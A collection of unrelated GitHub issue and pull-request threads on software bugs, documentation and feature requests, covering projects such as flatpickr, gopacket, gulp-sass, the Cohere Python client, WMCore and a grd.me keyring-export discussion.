@amme2 100%, this was just some talking points that have come up over the past weeks.
Could you share those policies, they'd be super interesting!

The Access Policy is on WC.org https://wellcomecollection.cdn.prismic.io/wellcomecollection%2F4e36cfae-2d7f-486d-a1c1-7de71dad186d_wellcome+collection_access+policy_jan+2019.pdf#_ga=2.27922618.781724945.1574769185-50401810.1519918931 (relevant section is section 12).

And the current public version of the more detailed Access Procedures is on wellcomelibrary.org https://wellcomelibrary.org/content/documents/policy-documents/access-to-personal-data.pdf This is designed to be a living document which can be updated and enhanced regularly.

Closing as no action to take (takedown is now documented in a private repo).


Get ACL Default scope for owner of a folder in ADLS gen 2 using powershell script

Azure documentation issue guidance
Thanks for opening an issue in the Azure technical documentation repository.
We use GitHub issues as the primary channel for customer and community feedback about the Azure documentation.
Creating an issue
We prefer that you create documentation feedback issues using the Feedback link on the published article - the feedback control on the doc page creates an issue that contains all the article details so you can focus on the feedback part.
You can also create a feedback issue here in the repo. If you do this, please make sure your issue lists:

[ ] The relevant Azure service or technology.
[ ] A link to the published documentation article that you have feedback about.
[ ] Clear, specific feedback that the author can act on.

Pull requests and article contributions
If you know the change that is needed in an article, we encourage you to submit the changes directly using a pull request. If the change is large, or if you want to contribute an entire article, follow these guidelines:

[ ] Don't surprise us with a big pull request or a pull request with a new article! Submit an issue that describes the details of the proposed large change or new article.
[ ] Include the service or technology area.

We'll route the issue to the appropriate content team for review and discussion.
Tech support and product feedback
If you would like to contact Microsoft about other things, such as product feedback or tech support, please review these guidelines:

If you need technical support using Azure, the paid and free support options are described here: https://azure.microsoft.com/support/options/.

Each article in the Azure technical documentation contains a product feedback button - it's best to submit product feedback directly from a relevant article. Otherwise, you can submit product feedback for most Azure products in the following product feedback forum: https://feedback.azure.com/forums/34192--general-feedback.

@abhaykhotpal  Please help with the link of document on which above document feedback request is created.
In case your query in not related to document content, open a new forum thread in Microsoft Q&A or Stack Overflow as it could be better place to get help on your scenario. These forum community members could provide their expert guidance on your scenario based on their experience. Thanks.

I don't want to make any further investigation on this.


Input value populating on focus in without any selection when time enabled (inc failing test + debug)

I was using this for date time input and I notice that if I clicked on a field, didn't interact with the widget and clicked out the input would be populated, when I expected it to still be blank.
It said if reporting a bug to include a repro, so I just wrote a failing test instead and tried to do some debug as well. Was hoping to figure out the fix but I only got as far as isolating where the change is happening.
When googling for issue / fix I found #1687 / #1689. However as discussed the behaviour for this one is coming from the initial open, rather than the focus out. Just the test case is nearly the same as that issue.
The three expects in the test were for whilst I was debugging, the third one is most important but the issue appears by the second. The first was just an assertion that it is definitely blank when time is enabled before any input.
Debugging changes during the failing test revealed the following callstack / changes:

The input value is blank until the first call into open
It is then blank until the call into setDefaultTime
Within setDefaultTime setDefaultHours populates the inputs value with the current time (or very close)
Then Within setDefaultTime updateValue seems to reliably populate the input with 12:00

This is as far as I got with the debug since I'm not familiar enough with flatpickr codebase to know where the appropriate fix should go without it being a massive hack.
Thanks for your time. Let me know if this test should be changed or anything else is required.

All my debug was wrong, I had my config wrong for the test.
I ran git bisect based on feedback in #1972. I found that commit from #1879 introduced the issue we're experiencing.


Image deployment in container app

Is there a sample of the image deployment in a pipeline?
I saw the bicep files of container apps deployment refer to images like 'eshopdapr/catalog.api:latest'
but I don't see a code that publish the project to this image

Hi @adeliab
We use GitHub Actions to build the images. Files can be found at: https://github.com/dotnet-architecture/eShopOnDapr/tree/main/.github/workflows


panic: runtime error: cgo argument has Go pointer to Go pointer

pfdump gave following error with go1.6beta2, but working fine with go1.5. Seems like new cgo rules are the reason.  It fails here for me: https://github.com/google/gopacket/blob/master/afpacket/afpacket.go#L293 but I'm able to capture packets without issues.

I've been discussing this with the golang Google group, and it seems like the pointer checker is a bit overzealous in this case.
Their suggestion was to go from:
_, err := C.getsockopt(h.fd, C.SOL_PACKET, C.PACKET_STATISTICS, unsafe.Pointer(&h.socketStatsV3), &slt)
to something like:
var ssv3 SocketStatsV3
C.getsockopt(..., &ssv3, ...)
h.socketStatsV3 = ssv3

I will try this and report back.

Could you try this pull request to see if it fixes your issue?
https://github.com/google/gopacket/pull/180

#180 Did fix the pfring code, I have confirmed that now. As you can see I also added a fix for the socket stats.

#182 added for your consideration. It simplifies the code in PR #181

182 merged, closing as I think this is now fixed.


Doesn't compile when importing scss file with underscores

This does not compile:
gulp.task('sass', function () {
    return gulp.src([
        'bower_components/bootstrap-sass/assets/stylesheets/_bootstrap.scss'
    ])
        .pipe(sass())
        .pipe(gulp.dest('css'));
});

I have to rename _bootstrap.scss to bootstrap.scss to be able to compile it, like this:
gulp.task('sass', function () {
    return gulp.src([
        'bower_components/bootstrap-sass/assets/stylesheets/bootstrap.scss'
    ])
        .pipe(sass())
        .pipe(gulp.dest('css'));
});

Files starting with underscores are partials in Sass and, by the language definition, are not compiled.

On Sep 2, 2015, at 6:46 AM, George Geladaris<EMAIL_ADDRESS>wrote:
This does not compile:
gulp.task('sass', function () {
return gulp.src([
'bower_components/bootstrap-sass/assets/stylesheets/_bootstrap.scss'
])
.pipe(sass())
.pipe(gulp.dest('css'));
});
I have to rename _bootstrap.scss to bootstrap.scss to be able to compile it, like this:
gulp.task('sass', function () {
return gulp.src([
'bower_components/bootstrap-sass/assets/stylesheets/bootstrap.scss'
])
.pipe(sass())
.pipe(gulp.dest('css'));
});
—
Reply to this email directly or view it on GitHub.

Thanks for clarifying this, yet I wonder, why If I pull bootsrap-sass from bower every file in there is a partial.

Wonder, because it works from console with node-sass:
./node_modules/.bin/node-sass --include-path "node_modules/bootstrap-sass/assets/stylesheets" src/scss/_bootstrap.scss dist/css/bootstrap.css

Also main bootstrap files in SASS version are named with "_". And it works correctly.

bootstrap uses partials because they want you to mix and match, not use everything from the go, ie you pull whichever partial you want to use.
We ignore files starting with _ in gulp-sass since otherwise you would get one resulting css file for each partial, which is not what you want.

In case described above you will end with 0 files. No warning or anything else will be shown. It finishes with positive result.

Yes, you (@Keats, @OEvgeny) are right. I misunderstood how to work properly with bootstrap. I'll close the ticket, because I understand it now.


When using BedrockClient, the response does not contain meta fields for billed tokens

Hi,
I am using both Client and BedrockClient.
When using Client, I can access fields:
response.meta.billed_units.input_tokens
response.meta.billed_units.output_tokens
However, when using BedrockClient, the response does not seem to contain any meta fields, so I cannot check the number of billed input and output tokens.
I tested direct calls to Bedrock via boto3 invoke, and in this case I saw that I am getting the billed tokens using special x-amzn-bedrock header fields. It seems that currently the client does not handle these fields.
Thanks
Guy

Hey @c64er4ever ! Thanks for letting us know about this. I will have a fix for you this week or next. Best, Billy

That's great, thanks Billy!

I have a PR here @c64er4ever, will ping when it's released https://github.com/cohere-ai/cohere-python/pull/537

This is released in the latest python version 5.6.2


Add feature to plot horizontal lines

Adds the functionality to define arbitrary horizontal lines which are visualized in the line-chart with some annotation directly above the line.
Description
The user is able to define lines which are visualized in the line-chart. A line is described by the following object:
{ y: number; name: string; color: string; }
The line will be plotted in the defined color, if no color is given grey is the fallback color. If no name is defined, only the line is drawn but no annotation.
How Has This Been Tested?

Test that the custom-lines-group is added
Test that no line and no annotation is drawn when no lines are defined
Test that a line and the correct annotation is drawn when one line is defined
Test that the getter / setter works

Screenshots (if appropriate):

Types of changes

[ ] Refactor (changes the way we code something without changing its functionality)
[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[x] Latest master code has been merged into this branch
[x] No commented out code (if required, place // TODO above with explanation)
[ ] No linting issues
[x] Build is successful
[x] Code follows the API Guidelines
[ ] Updated the documentation
[x] Added tests to cover changes
[x] All new and existing tests passed

Thanks for the feedback @DalerAsrorov !
Went over the code and fixed all the stuff mentioned by you.

Went over your requests and adapted the PR. Thanks for the review!

Thanks a lot!


v4

Changes

[x] convert ip scan to stream
[x] convert mac filter to stream
[x] move UI to react
[x] add bonjour/mdns hostname lookup
[x] scan all available addresses based on subnet mask for each interface

basic react framework is in place, but more UI work is needed:

Any plans to merge this?

@toddtreece Is this still maintained? Find is broken for the new Pi 4 units, and wasn't sure if the fix was sitting in this pull by accident.
Thanks!

@toddtreece Is this still maintained? Find is broken for the new Pi 4 units, and wasn't sure if the fix was sitting in this pull by accident.
Thanks!


Add e2e test for Print Section

A follow-up of https://github.com/webpack/webpack.js.org/pull/4086. CI would fail at the moment, but should pass when that PR get merged.

Closed as we don't run yarn printable under development mode which means there's no way to test them.


AttributeError: 'NoneType' object has no attribute 'iter_symbols'

I installed the current version, but when uploading a 64 bit ELF file (/bin/bash), or any other file, i get the following error:
(disasm) dobin@minime:~/Development/disasm$ python app/app.py
/home/dobin/.virtualenvs/disasm/local/lib/python2.7/site-packages/flask/exthook.py:71: ExtDeprecationWarning: Importing flask.ext.script is deprecated, use flask_script instead.
  .format(x=modname), ExtDeprecationWarning
 * Running on http://<IP_ADDRESS>:8000/ (Press CTRL+C to quit)
 * Restarting with stat
...

<IP_ADDRESS> - - [31/Aug/2016 19:42:15] "GET /functions?filename=41999504-6fa2-11e6-9282-a434d9937ce5 HTTP/1.1" 500 -
Traceback (most recent call last):
  File "/home/dobin/.virtualenvs/disasm/lib/python2.7/site-packages/flask/app.py", line 2000, in __call__
    return self.wsgi_app(environ, start_response)
  File "/home/dobin/.virtualenvs/disasm/lib/python2.7/site-packages/flask/app.py", line 1991, in wsgi_app
    response = self.make_response(self.handle_exception(e))
  File "/home/dobin/.virtualenvs/disasm/lib/python2.7/site-packages/flask/app.py", line 1567, in handle_exception
    reraise(exc_type, exc_value, tb)
  File "/home/dobin/.virtualenvs/disasm/lib/python2.7/site-packages/flask/app.py", line 1988, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/dobin/.virtualenvs/disasm/lib/python2.7/site-packages/flask/app.py", line 1641, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/dobin/.virtualenvs/disasm/lib/python2.7/site-packages/flask/app.py", line 1544, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/dobin/.virtualenvs/disasm/lib/python2.7/site-packages/flask/app.py", line 1639, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/dobin/.virtualenvs/disasm/lib/python2.7/site-packages/flask/app.py", line 1625, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/dobin/Development/disasm/app/app.py", line 237, in functions
    load_functions(filename)
  File "/home/dobin/Development/disasm/app/app.py", line 216, in load_functions
    functions = executables.get(filename).get_all_functions()
  File "/home/dobin/Development/disasm/app/executable.py", line 109, in get_all_functions
    function_syms = self.get_function_syms()
  File "/home/dobin/Development/disasm/app/executable.py", line 131, in get_function_syms
    function_syms = list(filter(lambda sym: sym["st_info"]["type"] == "STT_FUNC", symtab.iter_symbols()))
AttributeError: 'NoneType' object has no attribute 'iter_symbols'

dobin@minime:~$ uname -a
Linux minime 4.4.0-34-generic #53-Ubuntu SMP Wed Jul 27 16:06:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
dobin@minime:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.1 LTS"
dobin@minime:~$

Thank you for the bug report!
Can you do me a favor and print the output of readelf -S /bin/bash? It looks like the app can't find the symbol table of the bash executable.


Fix memory leak in EditorSettingsDialog

Delete TreeItems that are not in Tree, TreeItem needs to be deleted manually.

Thanks!


Jobs running at HLT even when the site is in Drain

@vlimant noticed a few jobs still carry the HLT site in the DESIRED_Sites. I found 3 MergeAOD jobs running on those resources:
295806.2  2  13857 /data/srv/wmagent/v1.0.12.patch1/install/wmagent/JobCreator/JobCache/pdmvserv_task_HIG-RunIIFall15DR76-01138__v1_T_160201_143826_839/HIG-RunIIFall15DR76-01138_0/HIG-RunIIFall15DR76-01138_1/HIG-RunIIFall15DR76-01138_1MergeAODSIMoutput/JobCollection_577995_0/job_5231872/condor.295806.2.log T2_CH_CERN_HLT,T2_CH_CERN
Listing part of the classAd here for future check/debugging:
cmst1@vocms0309:/data/srv/wmagent/current $ condor_q -l 295806.2 | grep CERN
MATCH_GLIDEIN_Site = "T2_CH_CERN_HLT"
MATCH_GLIDEIN_CMSSite = "T2_CH_CERN_HLT"
MATCH_EXP_JOB_GLIDEIN_CMSSite = "T2_CH_CERN_HLT"
DESIRED_CMSDataLocations = "T2_CH_CERN_HLT,T2_CH_CERN"
DESIRED_Sites = "T2_CH_CERN_HLT,T2_CH_CERN"
MATCH_EXP_JOB_GLIDEIN_Site = "T2_CH_CERN_HLT"
MATCH_EXP_JOB_Site = "T2_CH_CERN_HLT"
MATCH_EXP_JOBGLIDEIN_CMSSite = "T2_CH_CERN_HLT"
ExtDESIRED_Sites = "T2_CH_CERN_HLT,T2_CH_CERN"
T2_CH_CERN_HLT was put in Drain a looong time ago, still in December. T2_CH_CERN is in Normal state.

Merge jobs still go to a site in drain mode:
https://github.com/dmwm/WMCore/blob/master/src/python/WMComponent/JobSubmitter/JobSubmitterPoller.py#L340
closing this issue.


python3Packages.lc7001: 1.0.3 -> 1.0.4

Motivation for this change
Update to latest upstream release 1.0.4
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 148786 run on x86_64-linux 1

2 packages built:

python38Packages.lc7001
python39Packages.lc7001


keychain export/import

From @arnottcr on February 5, 2015 8:15
allow a user to export a keyring to a file, encrypted if possible
Copied from original issue: winhowes/grd.me#22

From @winhowes on February 5, 2015 8:18
+1

From @winhowes on February 5, 2015 8:18
+1

I also tried to sync my firefox and chrome keyrings; there is no good export feature, it was a matter of copy, modify and paste. that too should likely be added [clipboard export], if you think it is useful

I also tried to sync my firefox and chrome keyrings; there is no good export feature, it was a matter of copy, modify and paste. that too should likely be added [clipboard export], if you think it is useful

From @winhowes on February 5, 2015 8:23
yep totally agree on all of this

From @winhowes on February 5, 2015 8:23
yep totally agree on all of this

it looks like you might want to be able to share/export the keyserver bindings, as they did not transfer when I setup chromium

it looks like you might want to be able to share/export the keyserver bindings, as they did not transfer when I setup chromium

I can show that I have the pub and private keys for my asym key, but the
extension does not let me revoke that key, presumably because it does
not know that I uploaded it?

From @winhowes on February 5, 2015 8:52
what do you mean by the keyserver bindings? The descriptions?

From @winhowes on February 5, 2015 8:52
what do you mean by the keyserver bindings? The descriptions?

I can show that I have the pub and private keys for my asym key, but the
extension does not let me revoke that key, presumably because it does
not know that I uploaded it?

From @winhowes on February 5, 2015 8:55
gotcha. Yep, totally agree

From @winhowes on February 5, 2015 8:55
gotcha. Yep, totally agree

also, I presume that the share key feature will not work with both browsers

From @winhowes on February 5, 2015 9:26
I'm not sure what you mean.. You can share keys from both browsers, but I don't think that's what you're saying

also, I presume that the share key feature will not work with both browsers

From @winhowes on February 5, 2015 9:26
I'm not sure what you mean.. You can share keys from both browsers, but I don't think that's what you're saying

right, but you cannot republish or revoke from browser2

right, but you cannot republish or revoke from browser2

also, if you share a key with me, it should only go to browser1, right?

also, if you share a key with me, it should only go to browser1, right?

From @winhowes on February 5, 2015 9:45
In the future you should be able to republish/revoke from browser2.
If I share a symmetric key with you, all your browsers compete for receiving the key and whoever checks for it first gets it (and so do browsers who check at about the same time).

From @winhowes on February 5, 2015 9:45
In the future you should be able to republish/revoke from browser2.
If I share a symmetric key with you, all your browsers compete for receiving the key and whoever checks for it first gets it (and so do browsers who check at about the same time).

alright, for pfs we should look at how whispersystems is doing
multidevice support @TheBlueMatt may be of assistance

alright, for pfs we should look at how whispersystems is doing
multidevice support @TheBlueMatt may be of assistance

From @winhowes on February 12, 2015 20:58
I like how pfs got dragged into this one :)

From @TheBlueMatt on February 5, 2015 21:12
https://gist.github.com/TheBlueMatt/d2fcfb78d29faca117f5 is close to what was implemented, with a number of the low-level protocol details replaced with equivalent things.

From @winhowes on February 12, 2015 20:58
I like how pfs got dragged into this one :)

From @TheBlueMatt on February 5, 2015 21:12
https://gist.github.com/TheBlueMatt/d2fcfb78d29faca117f5 is close to what was implemented, with a number of the low-level protocol details replaced with equivalent things.

From @winhowes on March 17, 2015 9:50
Well, so this topic went in a billion directions. I've synced keys between browsers, working on export/import now

does it not always

From @winhowes on March 17, 2015 9:50
Well, so this topic went in a billion directions. I've synced keys between browsers, working on export/import now

does it not always

From @winhowes on March 28, 2015 6:14
This should be now entirely implemented on Firefox

From @winhowes on March 28, 2015 6:14
This should be now entirely implemented on Firefox

awesome

From @winhowes on April 1, 2015 6:40
Implemented fully on both browsers. Closing

From @winhowes on April 1, 2015 6:40
Implemented fully on both browsers. Closing

awesome


Sockets are never closed on dashboard leave

We currently track websockets using the query text as key.
This helps keeping the number of open sockets low.
However, they are never closed unless:

Browser tab is closed or reloaded
User switches Org
... ?

Maybe we could use ping pong (keepalive)

https://stackoverflow.com/questions/50876766/how-to-implement-ping-pong-request-for-websocket-connection-alive-in-javascript
https://github.com/grafana/grafana-plugin-examples/issues/1


Parse failure on func(arg:)) syntax

Issue Summary
The parser fails with expected expression for syntax like the following:
return uti.flatMap(mimeType(uti:))

I included a sample of code from kickstarter/ios-oss, and have a few additional examples included below.
The sample code does seem to run successfully with swift 4.
Environment

OS Info: macOS Version 10.13.2 (Build 17C88)
Yanagiba/swift-ast version: 0.4.1

Reproduction Steps

Sample code
import Foundation

private func mimeType(extension: String, where: CFString? = nil) -> String? {
  let uti = UTTypeCreatePreferredIdentifierForTag(kUTTagClassFilenameExtension,
                                                  `extension` as CFString,
                                                  `where`)?.takeRetainedValue()
  return uti.flatMap(mimeType(uti:))
}

private func mimeType(uti: CFString) -> String? {
  return UTTypeCopyPreferredTagWithClass(uti, kUTTagClassMIMEType)?.takeRetainedValue() as String?
}

Command to run swift-ast with the code above:
swift-ast /Users/chrishulton/code/testing/swift_qa/failing_cases/expected_expression.swift

Expected Result
The code should be able to be parsed.
Actual Behavior
There is a fatal error: expected expression
/Users/chrishulton/code/testing/swift_qa/failing_cases/expected_expression.swift:7:35 fatal: expectedExpr

Even Better
Here are a few additional failing files for this case:

https://github.com/kickstarter/ios-oss/blob/master/Kickstarter-iOS/DataSources/LiveStreamDiscoveryDataSource.swift#L14
https://github.com/kickstarter/ios-oss/blob/master/Kickstarter-iOS/ViewModels/AppDelegateViewModel.swift#L273
https://github.com/kickstarter/ios-oss/blob/master/Kickstarter-iOS/Views/Controllers/LiveVideoViewController.swift#L36

Let me know if I can provide any more information! Thanks!

There hasn't been any activity on this issue recently. Due to the high number of incoming GitHub notifications, we have to clean some of the old issues, as many of them have already been resolved with the latest updates.
Please make sure to update to the latest version and check if that solves the issue. Let us know if that works for you by adding a comment.


Recommend xcb, add readme to crates

I went down the path of using the x11 crate without realizing the choice I was making between it and xcb.  Happily, haven't implemented all that much that uses xlib.
Anyway, figured it'd be good to have the readme info on the crates, and point out the xcb alternative.
Also, what is the difference between x11 and x11-dl?

I suppose it isn't really either-or, as the xcb crate depends on this one.  For example, xcb has no definition for ControlMask

Gotcha.  I've researched into it further, and found that xlib vs xcb is certainly not a cut and dried decision, so closing this.
I do think it'd make sense to have the crates specify a readme, and describe the distinction between x11 and x11-dl.
Thanks!


Clarify the expectations of a platform when a resource fails to get created

When a resource fails to get created, say Service Instance is being asked to be provisioned, and after polling the Broker, broker returns a failure. The spec does not seem to be clear on what the expectation is on the platform side for the expected state of the resource being created. This has led to following issue:
https://github.com/kubernetes-incubator/service-catalog/issues/1461
Spec should clarify what happens here.

@mattmcneeney to report on CF behaviours when provision fails for snyc & async.

Current CF behaviours are as follows:

If a synchronous provision fails with a 5XX status code, then a deprovision request is automatically sent to brokers.
If an asynchronous provision fails immediately with a 5XX status code (i.e. the provision call fails), then a deprovision request is automatically sent to brokers
If an asynchronous request fails sometime later with a 5XX status code (i.e. last operation returns "status": "fails"), then no deprovision request is sent to brokers.

@mattmcneeney in the last case I think it might also return a 200 on the last_operation call, but have "failed" for "status".  Do you still NOT send a deprovision in that case?

I don’t think last operation is called in the last case but I can double
check.
On Wed, 25 Oct 2017 at 11:46, Doug Davis<EMAIL_ADDRESS>wrote:

@mattmcneeney https://github.com/mattmcneeney in the last case I think
it might also return a 200 on the last_operation call, but have "failed"
for "status". Do you still NOT send a deprovision in that case?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/openservicebrokerapi/servicebroker/issues/348#issuecomment-339290304,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AG7UzJgDRTp6Ibcpt_kL5UAegy0uWHQnks5svxGfgaJpZM4QDnSh
.

Returning a 5xx on last_operation, to me, would indicate that the last_operation operation itself failed, not the provision - and the spec says it should keep polling.

If an asynchronous request fails sometime later with a 5XX status code (i.e. last operation returns "status": "fails"), then no deprovision request is sent to brokers.

However, when the user says that the service should be deprovisioned, CF does send the deprovision request, right?

Yes it does @pmorie (for the record on this issue)

The action is with @duglin to use his supreme spec writing skills to propose a clarification based on the current CF behaviours.

Closing this as it is being done in #354


Ratchet server windows only 254 connections

I have ratchet server in a aws ec2 windows 2008 r2 standard machine. The problem is that i only can have 254 conections open, the new conection after 254 stay waiting and only when i restart ratchet receive the others. Any one knows why this happen. i would like help because i already change some tcpip parameters in windows regedit but didnt solve.
Thanks in advanced.
if someone knows how solve this issue please contact we can  pay for suport.
best regards

I'm not a Windows user so I can't give you a definitive answer but Google around for "Windows ulimit" or "Windows file descriptor limit". In *nix based systems there are several security layers for number of open file descriptor (in this case open socket) that a running process and a user can have open. I'm sure Windows has a similar security layer but changing it will be different.


[CANNOLI-128] Adding API documentation link and badge.

Fixes #128

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/cannoli-prb/140/
Test PASSed.

Coverage remained the same at 19.556% when pulling dd5ed7b5ef3269250fe64adbb1415b31da48a78c on heuermh:javadoc-io into d28eb01d1bcb8846818491a27135aa861b3c0a5b on bigdatagenomics:master.


Move directory listing component into ion

It can be a top level component we expose as well.
One thing missing from our directory listing component in the nteract/nteract monorepo is the "Grouped" directory listing component. I'd love to see that over here as an option too.

I'm beginning to think we should only do new component development in here so we're not fractured between here and the monorepo (I just now had to make some changes / fixes to the monorepo components). We should make a release with some components we're going to start incorporating for use in the monorepo. 🤔

I'm going to close this, let's open it again when we're ready to revisit.


[PDI-20083] - don't apply previous fix on windows.

 Note:

Frogbot also supports Contextual Analysis, Secret Detection, IaC and SAST Vulnerabilities Scanning. This features are included as part of the JFrog Advanced Security package, which isn't enabled on your system.

🐸 JFrog Frogbot

:white_check_mark: Build finished in 30m 26s
Build command:
mvn clean verify -B -e -Daudit -Djs.no.sandbox -pl engine

:ok_hand: All tests passed!
Tests run: 2326, Failures: 0, Skipped: 5    Test Results

:information_source:  This is an automatic message


Please update blog code to latest libsql API

WHAT: Please update source code in Microsecond-level SQL query latency with libSQL local replicas
WHY:  provide the beginner a jumpstart with a working "cargo run"  environment.

This example should work: https://github.com/tursodatabase/libsql/blob/main/libsql/examples/remote_sync.rs

@avinassh , Yes. I was able to build and start up a sqld , using turso cli to create a test db inside sqld and use remote_sysnc.rs to connect to http://<IP_ADDRESS>:8080 to demo a remote sync to local db.
But still the tutorial is better to be updated to match current libsql repo hosted under tursodabase github org.
R1 is my learning notes in gdoc.


If you leave a Chair blank, the share preview just shows the budget. Can we put the committee name and an empy circle with "No chair selected"


Quantum Monte Carlo For Chemistry

Description of changes:
Add a new example notebook featuring solving the ground state energy of hydrogen molecule with quantum Monte Carlo. The work is done by WWSO quantum intern Benchen Huang!
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

README should be non-empty or deleted. I don't think we need a readme for notebook format

@mbeach-aws Is it faster to use c5.18xlarge rather than m5.24xlarge? Also, when I run the notebook (with m5.24xlarge NBI) I got 5 min which is different from 2.5 min that you got. Did you use c5.18xlarge for NBI when running the notebook?
Also, the Job takes 102 mins which is a bit too long. As a notebook, should we scale it down to something like 30 min?

I changed the file name from "quantum_afqmc_pennylane" to just "quantum_afqmc" because we only have one implementation.

@yitchen-tim Reason i had was 18xlarge is because I don't have access to 24xlarge in jobs quotas.  Is it in the default job quotas? (c5.18xlarge seems to be)
Yeah the job takes 102min because it does quantum every 5 steps. It could be changed down to say 10 or 20 to speed it up.

@ajberdy Thanks for reviewing! Regarding the case in variable name and type hint:
(1) variable name: In scientific content, it is a convention to use upper and lower cases to differentiate different object in equations. I know code is different from equations, but in this example, allowing underscores and upper case adds readability to code because the correspondence to the equations is more clear. I suggest that we can keep the case in variable name.
(2) type hint: I fixed the inconsistent type hint.
If these two are good, the remaining one thing is just updating the time and cost estimated (we are still working on that)


Like in firefox please implement in in edge console so that when we type console.log the parenthesis automatically come after typing log in console.log

Like in firefox please implement in in edge console so that when we type console.log the parenthesis automatically come after typing log in console.log

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 9c6cd94a-404d-5ce5-91da-575d7af01b8c
Version Independent ID: 1fc9a95f-6db4-77bf-048f-52903f62cc4f
Content: Keyboard shortcuts - Microsoft Edge Development
Content Source: microsoft-edge/devtools-guide-chromium/shortcuts/index.md
Product: microsoft-edge
Technology: devtools
GitHub Login: @MSEdgeTeam
Microsoft Alias: msedgedevrel

Thanks for your feedback. This repository, however, is only for the documentation of DevTools, not for DevTools itself.
Could you please, re-submit your feedback over on the DevTools repository here instead: https://github.com/MicrosoftEdge/DevTools ?
That would be fantastic! Thanks, and sorry about the inconvenience.


Port discriminated types fixes in v2 generator to v3 generator

The storage team needs support for discriminated types in the v3 generator.

@jhendrixMSFT 👋 purely out of interest, what's the difference between the v2 and the v3 generators?

@tombuildsstuff Hello!  In the v3 generator we've tried to make the underlying sending/receiving of the REST operation more configurable.  It dumps go-autorest in favor of a "pipeline" model and provides a lot more flexibility in how a request is sent/received over the wire (e.g. you can easily drop in your own retry policy handler).  Best bet would be to take a look at the new azblob package which is replacing the blob storage functionality in our current /storage package.  Specifically, take a look at this part of the docs for some info on the pipeline.  The pipeline package can be found here.

This has been fixed in the v3 generator.


Removing of deprecated builders returning a Result

Description
Like discussed in the idea #104, we would like to remove deprecated builders returning a Result instance.
Dependencies
This issue is blocked by the following ones:

[x] #113

Checklist

[ ] Remove deprecated builders with a hidden level.
[ ] Test.
[ ] Refactor.
[ ] Check the generated documentation.
[ ] Check and update the public API binaries.
[ ] Update the Unreleased section in changelog.

We will split this issue by type.


Consider using string as key for bkDict type objects ?

I was thinking, wouldn't it be simpler to have string as bkDict keys, instead of BencodeObj ?
According to wikipedia: https://en.wikipedia.org/wiki/Bencode#Encoding_algorithm
"All keys must be byte strings and must appear in lexicographical order."
For accessing a dict value now I have to write: myDecodedBeObj.d[Bencode("key")] instead of just myDecodedBeObj.d["key"]
Also, maybe publish to nimble directory ? There's already a nim-bencode library there, but it does not work correctly for all cases. And this one has clearer code

I think I made bkDicts have BencodeObj keys in order to keep the library as flexible as possible (e.g. some exotic application might decide to use non-strings as bencode dictionary keys) (though I don't really remember; I wrote the library a long time ago).
How about if I added overloads that allowed you to do stuff like this?:
var b = Bencode({
  "interval": Bencode(1800),
  "complete": Bencode(20),
})
assert b.d["interval"] == Bencode(1800)
b.d["complete"] = Bencode(30)

I already modified the code locally to use strings instead of Bencode("string") for the dict keys. The overload you are talking about looks like the best option though.
About the ref vs value type, I am not really knowledgeable in this field and can't really grasp all the low level implications it would have. All I know is that with ref, assigning the dict to another variable, it won't to deep copy for the full tree when dereferncing.


Selecting a Checkbox/ChoiceCellEditor cell, the component moves

When selecting a Checkbox/ChoiceCellEditor cell, the Checkbox moves slightly up.

Now directCellEditors (Checkbox and Choice) are rendered directly and not through the CellEditor component. Because now it could be that there are more than 1 open Editor which use the same column, useRowSelect also checks that only the correct row is changed. For rows which are not currently selected, the data from the contentStore is used instead of the selectedRowData


fix(select): remove unecessary and incorrect CSS

this issue came up while updating https://github.com/IBM/carbon-components/pull/1518
the new icon pack has proper sizing built in, so @aledavila and i removed the unnecessary width & height rules! this looks correct, and the correct appearance should be inherited by the pagination select components once they're both merged :)

Should we guard this change with a feature flag check?

@joshblack not sure. atm it only applies to things under the <element>-x ruleset

@lovemecomputer oh duh, scoped under select--x right? Diff view did not make that seem clear 😂 Thanks!

@asudoh : @aledavila and i rand into this issue when updating the pagination component for v10. the select 's associated dropdown-chevron icon was too small, did not match design spec—its size was being affected by the rule in this PR. removing this rule seemed to fix it inside the pagination component. i assume this is a global issue with select, but i haven't tested thoroughly yet

@lovemecomputer - As @joshblack suggests, my bet is that the size supposed to be different between stable/experimental icons, where stable (caret) icon should have 10x5 pixies, experimental (chevron) icon should have 16x16 pixels. Does it make sense to you...? Don't hesitate to ping me if you need more clarification. Thanks!

@asudoh  Correct which is why this is only removing the width and height from the experimental select css.
The issue here was the experimental select component svg was being overriden by the width and height that this pr fixes by removing the width and height. Those sizes are brought in by bringing in the correct  svg. If the correct svg is brought in (which it is now for experimental select) then there is no need to define the width and height in the css.


nix shell init

